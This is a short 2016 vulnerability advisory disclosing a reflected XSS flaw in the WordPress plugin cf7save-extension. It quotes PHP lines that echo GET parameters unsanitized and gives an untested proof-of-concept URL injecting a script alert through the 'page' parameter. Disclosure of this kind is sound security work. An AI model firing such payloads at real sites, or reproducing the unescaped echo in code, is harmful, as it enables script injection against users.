Advisory #: 256
Title: Reflected XSS in wordpress plugin cf7save-extension v1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/cf7save-extension
Downloads: 12
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: cf7save-extension
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./cf7save-extension/cf7db.php: 124: <input type="hidden" name="page" value="<?php echo $_GET['page'] ?>"> 149: <input type="hidden" name="page" value="<?php echo $_GET['page'] ?>"> 150: <input type="hidden" name="pxcf7_form_id" value="<?php echo $_GET['pxcf7_form_id'] ?>"> 211: <input type="hidden" name="page" value="<?php echo $_GET['page'] ?>"> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./cf7save-extension/cf7db.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/cf7save-extension/cf7db.php?page="><script>alert(1);</script><"